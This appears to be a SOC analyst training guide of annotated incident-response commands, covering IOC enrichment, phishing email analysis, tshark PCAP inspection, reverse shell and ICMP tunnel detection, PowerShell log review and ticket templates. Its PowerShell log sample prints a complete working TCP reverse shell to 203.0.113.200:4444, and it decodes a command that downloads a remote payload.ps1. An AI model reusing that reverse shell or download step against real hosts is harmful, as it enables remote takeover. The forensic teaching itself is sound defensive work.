# => DB servers should not have SSH open to the Internet (firewall gap finding)
 
# STEP 3: DECIDE — escalate or close
 
# Decision criteria:
# [x] Confirmed brute-force from known malicious IP: YES → escalate
# [x] Any successful login: NO → reduces urgency but does not close
# [x] Target is a production DB server: YES → escalates severity
# [x] SSH exposed to Internet on a DB server: YES → additional finding to document
 
# Decision: ESCALATE to Tier 2 with recommendation to:
# 1. Block 203.0.113.77 at the perimeter firewall
# 2. Review whether SSH on db-prod-01 should be Internet-accessible (it should not be)
# 3. Enable fail2ban or firewalld rate limiting on db-prod-01
 
# STEP 4: DOCUMENT — record findings in the incident ticket
# Ticket fields (see Example 28 for full incident ticket template)
# - Summary: SSH brute force from high-reputation-malicious IP 203.0.113.77
# - Severity: Medium (no successful login, but DB server exposure is HIGH risk)
# - Evidence: 47 failures in 60 min; AbuseIPDB score 95; no successful auth
# - Recommended Action: block IP, remediate SSH exposure, enable rate limiting

# IOC ENRICHMENT — AbuseIPDB API (IP address lookup)
# Requires: ABUSEIPDB_API_KEY environment variable set from your API key
 
SUSPECT_IP="198.51.100.200"
# => Define the IP to query — replace with actual suspect IP from incident
 
curl -s "https://api.abuseipdb.com/api/v2/check" \
  --data-urlencode "ipAddress=${SUSPECT_IP}" \
  --data-urlencode "maxAgeInDays=90" \
  --data-urlencode "verbose" \
  -H "Key: ${ABUSEIPDB_API_KEY}" \
  -H "Accept: application/json" \
  | jq '{
      ip: .data.ipAddress,
      score: .data.abuseConfidenceScore,
      country: .data.countryCode,
      isp: .data.isp,
      domain: .data.domain,
      usageType: .data.usageType,
      total_reports: .data.totalReports,
      last_reported: .data.lastReportedAt
    }'
# => jq extracts only the relevant fields from the full JSON response
# => score: 0-100 confidence that the IP is abusive (>85 = block; >50 = investigate)
# => usageType: "Data Center/Web Hosting" is common for attack infrastructure
# => last_reported: if recent (< 7 days), threat is active
 
# Sample output (fictional):
# {
#   "ip": "198.51.100.200",
#   "score": 87,                  # => High confidence malicious
#   "country": "RU",              # => Russia (geolocation, not proof of attacker nationality)
#   "isp": "AS12345 FastHost LLC", # => VPS/hosting ISP — common for rented attack infra
#   "usageType": "Data Center/Web Hosting",
#   "total_reports": 234,         # => 234 separate abuse reports — well-established bad actor
#   "last_reported": "2026-05-20T18:34:00+00:00"  # => Reported yesterday — active threat
# }
 
# ---
 
# IOC ENRICHMENT — VirusTotal API (domain/URL lookup)
# Requires: VT_API_KEY environment variable from your VirusTotal API key
 
SUSPECT_DOMAIN="update.malicious-cdn.example"
# => The domain found in PowerShell command-line logs
 
# VirusTotal domain lookup — base64-encode the domain for the API URL path
ENCODED=$(printf '%s' "${SUSPECT_DOMAIN}" | base64 | tr '+/' '-_' | tr -d '=')
# => VirusTotal API v3 encodes identifiers as URL-safe base64
 
curl -s "https://www.virustotal.com/api/v3/domains/${ENCODED}" \
  -H "x-apikey: ${VT_API_KEY}" \
  | jq '{
      domain: .data.id,
      malicious: .data.attributes.last_analysis_stats.malicious,
      suspicious: .data.attributes.last_analysis_stats.suspicious,
      harmless: .data.attributes.last_analysis_stats.harmless,
      categories: .data.attributes.categories,
      creation_date: .data.attributes.creation_date
    }'
# => malicious: number of VT engines that flagged this domain as malicious (out of ~90)
# => suspicious: engines flagging as suspicious (lower confidence)
# => categories: how the domain is classified (e.g., "malware", "command-and-control")
# => creation_date: recently registered domains (< 30 days) with malicious flags = high risk

# SUSPICIOUS EMAIL IOC EXTRACTION
# Assume the email has been exported as .eml file to /tmp/suspicious_payroll.eml
 
# STEP 1: Extract email headers — trace the true sender path
grep -E "^(Received|From|Reply-To|Return-Path|X-Originating-IP|Message-ID|Subject):" \
  /tmp/suspicious_payroll.eml | head -30
# => Received: headers show the relay path in reverse chronological order (last hop first)
# => The LAST Received: header in the chain is where the email entered the Internet
# => From: may be spoofed; Return-Path: and the last Received: from IP reveal the true sender
 
# Expected output (fictional):
# Return-Path: <noreply@evil-mailer.example>          # => Actual bounce address (not payroll)
# Received: from mail.evil-mailer.example (203.0.113.250)  # => Sending mail server IP
# From: "Payroll Department" <payroll@corp-legit.example>  # => Spoofed display name
# Reply-To: attacker@gmail.com                         # => Replies go to attacker (not payroll)
# Subject: ACTION REQUIRED: Update your bank details before Friday
 
# STEP 2: Extract URLs from the email body
grep -oE 'https?://[^ "<>]+' /tmp/suspicious_payroll.eml | sort -u
# => -oE: print only the matching portion (not the entire line)
# => Pattern matches http:// or https:// followed by non-whitespace/quote characters
# => sort -u: deduplicate URLs
 
# Expected output:
# https://corp-legit-update.evil-mailer.example/payroll/update-banking
# => URL uses a domain SIMILAR to the company name (typosquat or homograph attack)
# => Path "/payroll/update-banking" is social engineering bait
# => DO NOT click — pass to VirusTotal for analysis (see Example 22)
 
# STEP 3: Extract attachment metadata without executing it
# Assuming the email has a .docx attachment extracted to /tmp/payroll_update.docx
 
file /tmp/payroll_update.docx
# => payroll_update.docx: Microsoft Word 2007+ (ZIP-based OOXML format)
 
sha256sum /tmp/payroll_update.docx
# => d4e5f6a7b8c9... payroll_update.docx
# => SHA256 hash: submit to VirusTotal (Example 22) for reputation check
 
# Check for VBA macros (macros = primary malware delivery mechanism in Office files)
olevba /tmp/payroll_update.docx 2>/dev/null | grep -E "(AutoOpen|AutoClose|Shell|WScript|PowerShell|http)"
# => olevba is part of oletools (pip install oletools)
# => AutoOpen/AutoClose: macros that run automatically when the document opens
# => Shell, WScript, PowerShell: macro executing system commands = almost certainly malicious
# => http: macro downloading additional payload from C2 server

# FILE HASH LOOKUP — VirusTotal API v3
# Requires: VT_API_KEY environment variable (free tier: 500 lookups/day)
 
# Step 1: compute the hash (Linux — on Windows use certutil or PowerShell Get-FileHash)
sha256sum /evidence/svchost32.exe
# => 3a4b5c6d7e8f9012345678901234567890abcdef1234567890abcdef12345678  svchost32.exe
# => Always use SHA256 — MD5 and SHA1 have collision vulnerabilities
 
FILE_HASH="3a4b5c6d7e8f9012345678901234567890abcdef1234567890abcdef12345678"
# => Store the hash in a variable for reuse
 
# Step 2: query VirusTotal
curl -s "https://www.virustotal.com/api/v3/files/${FILE_HASH}" \
  -H "x-apikey: ${VT_API_KEY}" \
  | jq '{
      name: .data.attributes.meaningful_name,
      type: .data.attributes.type_description,
      size: .data.attributes.size,
      malicious: .data.attributes.last_analysis_stats.malicious,
      undetected: .data.attributes.last_analysis_stats.undetected,
      first_submitted: .data.attributes.first_submission_date,
      last_analysis_date: .data.attributes.last_analysis_date,
      threat_label: .data.attributes.popular_threat_label,
      tags: .data.attributes.tags
    }'
# => meaningful_name: the most common filename this hash is seen as in VT submissions
# => malicious: count of engines flagging this file (>5 = highly suspicious; >30 = confirmed malware)
# => undetected: engines that cleared it (a low malicious + high undetected = possible new sample)
# => first_submitted: when first seen in VT; very recent = potentially zero-day or targeted
# => popular_threat_label: VT's consensus malware family name (e.g., "trojan.genericbackdoor")
# => tags: behavioral tags added by sandbox analysis (e.g., "spreads-files", "powershell")
 
# Sample output (fictional — high-confidence malware):
# {
#   "name": "svchost32.exe",
#   "type": "Win32 EXE",
#   "size": 245760,
#   "malicious": 58,              # => 58 of ~70 engines flagged this — confirmed malware
#   "undetected": 7,              # => 7 engines missed it (evasion or lag in signature updates)
#   "first_submitted": 1716220800, # => 2024-05-20 (first seen yesterday — recent campaign)
#   "threat_label": "trojan.agent/asyncrat",  # => AsyncRAT remote access trojan
#   "tags": ["rat", "persistence", "network"]
# }
# => AsyncRAT: open-source remote access trojan with keylogging and reverse shell capabilities
# => Immediate actions: isolate the host, preserve memory dump, initiate IR playbook for RAT
 
# Step 3: if hash NOT found in VT (404 response), the file is potentially a targeted/novel sample
# => 404 from VT does NOT mean the file is safe — it means VT has not seen it yet
# => Consider submitting the file to VT sandbox (only if legal and approved for your organization)
# => Alternatively, use an offline sandbox (e.g., Cuckoo, Any.run with network isolation)

# tshark — Wireshark command-line PCAP analysis
# Assume pcap is at /evidence/incident_20260521.pcap
 
# STEP 1: Overview — what hosts and protocols are in this capture?
tshark -r /evidence/incident_20260521.pcap \
  -q -z "conv,ip"
# => -r: read from file (no live capture)
# => -q: quiet mode (suppress per-packet output; show only the statistics at the end)
# => -z "conv,ip": display IP conversation statistics (source IP, dest IP, packet count, bytes)
# => Output shows which IP pairs communicated most — quickly surfaces C2 connections
 
# STEP 2: Filter HTTP traffic and display method, host, and URI
tshark -r /evidence/incident_20260521.pcap \
  -Y "http.request" \
  -T fields -e ip.src -e http.host -e http.request.method -e http.request.uri \
  2>/dev/null | sort | uniq -c | sort -rn | head 20
# => -Y "http.request": display filter for HTTP request packets only
# => -T fields: output only specified fields (not full packet decode)
# => -e ip.src, http.host, etc.: the specific fields to output (tab-separated)
# => uniq -c | sort -rn: count identical rows and sort by frequency (detect repeated C2 beaconing)
 
# STEP 3: Look for cleartext credentials (HTTP Basic Auth or FTP)
tshark -r /evidence/incident_20260521.pcap \
  -Y "http.authorization or ftp.request.command == PASS" \
  -T fields -e ip.src -e ip.dst -e http.authorization -e ftp.request.arg \
  2>/dev/null
# => http.authorization: HTTP Basic Auth header contains base64-encoded username:password
# => ftp.request.command == PASS: FTP password command (cleartext in FTP)
# => If output is non-empty: credentials were transmitted in cleartext — HIGH finding
 
# STEP 4: Find DNS queries to suspicious domains (example: non-RFC1918 DNS resolvers)
tshark -r /evidence/incident_20260521.pcap \
  -Y "dns.flags.response == 0 and not ip.dst == 10.0.0.1" \
  -T fields -e ip.src -e ip.dst -e dns.qry.name \
  2>/dev/null
# => dns.flags.response == 0: DNS queries only (not responses)
# => not ip.dst == 10.0.0.1: exclude queries to the internal DNS server (10.0.0.1)
# => Non-internal DNS destination = host using external DNS resolver or DNS tunneling
 
# STEP 5: Extract TCP streams for manual inspection of a suspicious conversation
tshark -r /evidence/incident_20260521.pcap \
  -Y "ip.addr == 203.0.113.99 and tcp.port == 4444" \
  -z "follow,tcp,ascii,0" \
  2>/dev/null | head 50
# => Filter to packets involving the suspect IP on port 4444 (common reverse shell port)
# => -z "follow,tcp,ascii,0": reconstruct TCP stream 0 as ASCII text
# => Port 4444 with printable ASCII content is consistent with a reverse shell session

# Firewall flow log — reverse shell detection
# Format: TIMESTAMP SRC_IP:PORT -> DST_IP:PORT PROTO STATE BYTES_SENT BYTES_RECV DURATION
 
2026-05-21T16:42:00Z 10.0.1.25:51200 -> 203.0.113.200:4444 TCP ESTABLISHED 1240 8920 00:03:12
# => Internal host 10.0.1.25 initiated outbound connection to external 203.0.113.200:4444
# => Port 4444: Metasploit meterpreter/reverse_tcp default listener port
# => Duration 00:03:12 (3 minutes 12 seconds) — persistent, not a one-shot HTTP request
# => BYTES_SENT 1240, BYTES_RECV 8920 — server received more than it sent (typical for interactive shell)
#    (attacker issues commands = small outbound; command output = large inbound)
 
2026-05-21T16:45:15Z 10.0.1.25:51202 -> 203.0.113.200:4444 TCP ESTABLISHED 890 12440 00:02:47
# => Second connection from same host to same external IP and port
# => Reconnection pattern: reverse shell reconnected after temporary drop (C2 resilience)
# => Two sessions in 5 minutes = active interactive control, not an automated beacon
 
# PCAP verification — tshark analysis of the suspected reverse shell traffic
tshark -r /evidence/incident_20260521.pcap \
  -Y "ip.dst == 203.0.113.200 and tcp.port == 4444" \
  -T fields -e frame.time -e tcp.len -e tcp.flags.str \
  2>/dev/null | head 20
# => tcp.len: payload length per packet
# => Patterns to look for in a reverse shell:
#    - Small regular outbound packets (keystrokes: 1-20 bytes each)
#    - Larger inbound packets (command output returned to attacker)
#    - ACK flags between data packets (interactive session pattern)
 
# Endpoint verification — check what process owns the connection on the host
# (Run on 10.0.1.25 if accessible)
ss -tnp | grep 4444
# => tcp  ESTAB  0  0  10.0.1.25:51202  203.0.113.200:4444  users:(("python3",pid=3142,fd=3))
# => Process "python3" owns this connection (PID 3142)
# => Python reverse shell is extremely common: python3 -c 'import socket...' one-liner
# => Immediately correlate PID 3142 with /proc/3142/cmdline to confirm and preserve evidence

# tshark analysis — ICMP tunnel detection
# Normal ICMP echo (ping) has 32 bytes payload on Windows, 56 bytes on Linux
 
# STEP 1: Measure ICMP payload sizes between internal host and external IP
tshark -r /evidence/incident_20260521.pcap \
  -Y "icmp and ip.src == 10.0.1.30 and ip.dst == 203.0.113.210" \
  -T fields -e frame.time -e icmp.type -e icmp.code -e data.len \
  2>/dev/null
# => icmp.type: 8 = echo request (ping), 0 = echo reply
# => data.len: payload size in bytes
# => Expected for normal ping: data.len = 32 or 56
# => ICMP tunnel indicator: data.len consistently 500-1400 bytes
 
# Sample output (fictional — ICMP tunnel):
# 16:50:01.000 8  0  1024   # => ICMP echo request with 1024 bytes payload (40x normal)
# 16:50:01.050 0  0   512   # => ICMP echo reply with 512 bytes (response data)
# 16:50:02.100 8  0  1024   # => Regular 1-second interval + large payload = tunnel beaconing
# 16:50:02.155 0  0   512   # => Consistent reply size suggests a protocol, not random data
 
# STEP 2: Extract ICMP payload content to inspect for structured data
tshark -r /evidence/incident_20260521.pcap \
  -Y "icmp.type == 8 and ip.src == 10.0.1.30" \
  -T fields -e data \
  2>/dev/null | head 5
# => -e data: raw hex payload of each ICMP packet
# => Look for: repeated byte patterns (headers), printable ASCII (commands), or base64 sequences
 
# Sample hex output (fictional):
# 494e4954202f62696e2f736800  # => hex decodes to "INIT /bin/sh\0" — icmptunnel tool command header
# => Structured header at start of ICMP payload confirms tunneling tool (e.g., icmptunnel, ptunnel)
printf '%s' "494e4954202f62696e2f736800" | xxd -r -p
# => Output: INIT /bin/sh   (confirms a shell being initialized over ICMP)
 
# STEP 3: Quantify the data volume — how much was exfiltrated?
tshark -r /evidence/incident_20260521.pcap \
  -Y "icmp and ip.src == 10.0.1.30 and ip.dst == 203.0.113.210" \
  -q -z "io,stat,60,BYTES,icmp"
# => -z "io,stat,60,...": show bytes per 60-second bucket
# => Total bytes across all ICMP packets = maximum exfiltration volume estimate
# => Normal host should generate ~0 ICMP bytes to external IPs (no reason to ping the Internet)

# Windows PowerShell Event Logs — key fields in key:value form
# Log: Microsoft-Windows-PowerShell/Operational
# Access via: Get-WinEvent or Event Viewer → Applications and Services Logs → Windows PowerShell
 
# Event ID 4104 — Script Block Logging (captures the actual script text)
 
EventID:         4104
TimeCreated:     2026-05-21T14:22:15Z
Computer:        WKS-FIN-017.corp.example.com
Path:            C:\Users\bwilson\AppData\Local\Temp\updater.ps1
# => Path: the script file path if run from file (or "<No file>" for inline commands)
# => This path reveals the script was dropped to a world-writable temp location (suspicious)
 
ScriptBlockText: |
  $c = New-Object System.Net.Sockets.TCPClient("203.0.113.200", 4444)
  # => Creating a TCP client to the attacker's IP and port 4444 (reverse shell destination)
  $s = $c.GetStream()
  # => Get the network stream for bidirectional communication
  [byte[]]$b = 0..65535|%{0}
  # => Initialize a byte buffer for reading data from the stream
  while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object Text.UTF8Encoding).GetString($b, 0, $i)
    # => Decode received bytes as UTF-8 string (interpret incoming commands)
    $sb = (iex $d 2>&1 | Out-String)
    # => iex (Invoke-Expression): EXECUTE the received string as PowerShell code
    # => This is the core of the reverse shell: receive command → execute → return output
    $e = [System.Text.Encoding]::UTF8.GetBytes($sb)
    $s.Write($e, 0, $e.Length)
    # => Send command output back to attacker over the TCP stream
  }
# => This 8-line script is a complete PowerShell TCP reverse shell
# => Script block logging captured it verbatim — critical forensic evidence
 
# ---
 
# Event ID 4103 — Module Logging (captures parameter bindings for cmdlets)
 
EventID:         4103
TimeCreated:     2026-05-21T14:22:10Z
Payload:         CommandInvocation(Invoke-Expression): "Invoke-Expression"
                 ParameterBinding(Invoke-Expression): name="Command"; value="[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SQBuAHYAbwBrAGUA...'))"
# => Module log shows Invoke-Expression (iex) was called with a base64-encoded argument
# => This is the deobfuscation stage: base64 → decode → execute (common obfuscation chain)
# => The 4104 event shows the DECODED script; 4103 shows the encoded invocation that preceded it
# => Timeline: 4103 at 14:22:10 (encoded invoke) → 4104 at 14:22:15 (decoded script executed)

# BASE64 DECODE — recovering a PowerShell -EncodedCommand payload
# IMPORTANT: Never execute the decoded output — decode for analysis only
 
ENCODED="SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQAwADMALgAwAC4AMQAxADMALgA1AC8AcABhAHkAbABvAGEAZAAuAHAAcwAxAA=="
# => The base64 string extracted from the 4688 event's CommandLine field
 
echo "${ENCODED}" | base64 -d | strings
# => base64 -d: decode the base64 payload
# => strings: extract printable ASCII/UTF-8 sequences from the binary output
# => PowerShell encodes commands as UTF-16LE (2 bytes per character), so raw decode looks binary
# => strings filters out null bytes and recovers readable text
 
# Output:
# => Invoke-WebRequest -Uri http://103.0.113.5/payload.ps1
# => The decoded command is a web download: Invoke-WebRequest (alias: iwr, wget, curl in PS)
# => URI http://103.0.113.5/payload.ps1 — downloads a secondary PowerShell payload from C2
 
# Alternative decode method — preserves UTF-16LE correctly
echo "${ENCODED}" | base64 -d | iconv -f UTF-16LE -t UTF-8 2>/dev/null
# => iconv converts the UTF-16LE encoding to UTF-8 for proper display
# => This method handles multi-byte characters that strings might split incorrectly
# => Produces: "Invoke-WebRequest -Uri http://103.0.113.5/payload.ps1"
 
# STEP 2: Analyze the decoded command for additional IOCs
DECODED_URL="http://103.0.113.5/payload.ps1"
# => IOC extracted: URL to secondary payload
# => Submit domain/IP to VirusTotal (Example 22) and AbuseIPDB (Example 20)
 
# STEP 3: Check if the download succeeded on the host
grep -r "payload.ps1" /var/log/proxy.log 2>/dev/null
# => If using a web proxy, search proxy logs for the download request
# => If found: the payload.ps1 was downloaded — escalate to full IR engagement
# => If not found: download may have been blocked by proxy or the host had no internet access
 
# STEP 4: Document the decoded payload in the incident ticket
# Decoded command: Invoke-WebRequest -Uri http://103.0.113.5/payload.ps1
# IOCs: IP 103.0.113.5, URL http://103.0.113.5/payload.ps1, filename payload.ps1
# => Add all three IOCs to the block list at the proxy, firewall, and email gateway

# INCIDENT TICKET TEMPLATE — required fields and populated examples
# Format: FIELD_NAME: VALUE   # => annotation explaining the field
 
# ===== TICKET 1: SSH Brute Force with Successful Login =====
 
INCIDENT_ID:         INC-2026-05-0421
# => Auto-generated by ticketing system; record this ID in all subsequent communications
 
TITLE:               SSH Brute Force with Credential Compromise — db-prod-01
# => Format: Attack Type + Outcome + Affected Asset
# => Concise, searchable, unambiguous — not "possible suspicious activity"
 
SEVERITY:            HIGH
# => Severity tiers: CRITICAL (active data theft/ransomware), HIGH (confirmed compromise),
# =>                 MEDIUM (strong indicator, no confirmed impact), LOW (anomaly, likely FP)
# => Successful login on a production DB host = HIGH
 
STATUS:              In Progress — Escalated to Tier 2
# => Valid statuses: New, In Progress, Escalated, Contained, Eradicated, Closed
 
DETECTED_AT:         2026-05-21T04:11:48Z
# => Timestamp when the malicious activity occurred (from auth.log — see Example 7)
 
REPORTED_AT:         2026-05-21T04:22:00Z
# => Timestamp when the SOC analyst opened the ticket (used to calculate MTTD)
 
AFFECTED_ASSETS:
  - db-prod-01.corp.example.com (10.0.1.5)
# => List all affected hostnames and IPs; include role (production DB server)
 
IOCs:
  - src_ip: 203.0.113.99         # => Attacker IP used for brute force
  - username: deploy              # => Compromised account
  - attack_start: 2026-05-21T04:11:00Z  # => First failure timestamp
  - attack_success: 2026-05-21T04:11:48Z  # => Successful login timestamp
# => IOCs are shared with threat intel team and added to block lists
 
EVIDENCE:
  - auth.log extract: /evidence/INC-2026-05-0421/auth.log.txt
  - SIEM alert ID: ALERT-20260521-0447
  - AbuseIPDB report: score 92/100 for 203.0.113.99
# => Preserve all evidence with chain of custody (copy, do not move)
 
MITRE_ATTACK:
  - T1110.001: Brute Force — Password Guessing
  - T1078: Valid Accounts (post-compromise use of deploy account)
# => ATT&CK mapping enables trend analysis and detection gap identification
 
ACTIONS_TAKEN:
  - 04:23: Disabled user account "deploy" in /etc/passwd
  - 04:25: Blocked 203.0.113.99 at perimeter firewall (rule FW-DENY-421)
  - 04:30: Escalated to Tier 2 (analyst: jsmith@corp.example.com)
  - 04:32: Opened remediation ticket TKT-2026-0892 for SSH firewall gap on db-prod-01
# => Timestamped action log forms the incident timeline — critical for post-incident review
 
RECOMMENDED_REMEDIATION:
  - Restrict SSH on db-prod-01 to internal network only (firewall rule update)
  - Disable password authentication for SSH; require key-based auth (sshd_config change)
  - Rotate all credentials for the "deploy" account and review its permissions
  - Enable fail2ban on all Internet-exposed Linux hosts
# => Remediation recommendations are separated from containment actions
# => Remediation may have a separate change management ticket with approval workflow
 
REPORTER:            soc-analyst-kwame@corp.example.com
ASSIGNED_TO:         tier2-lead-priya@corp.example.com
# => Clear ownership prevents alert falling through the cracks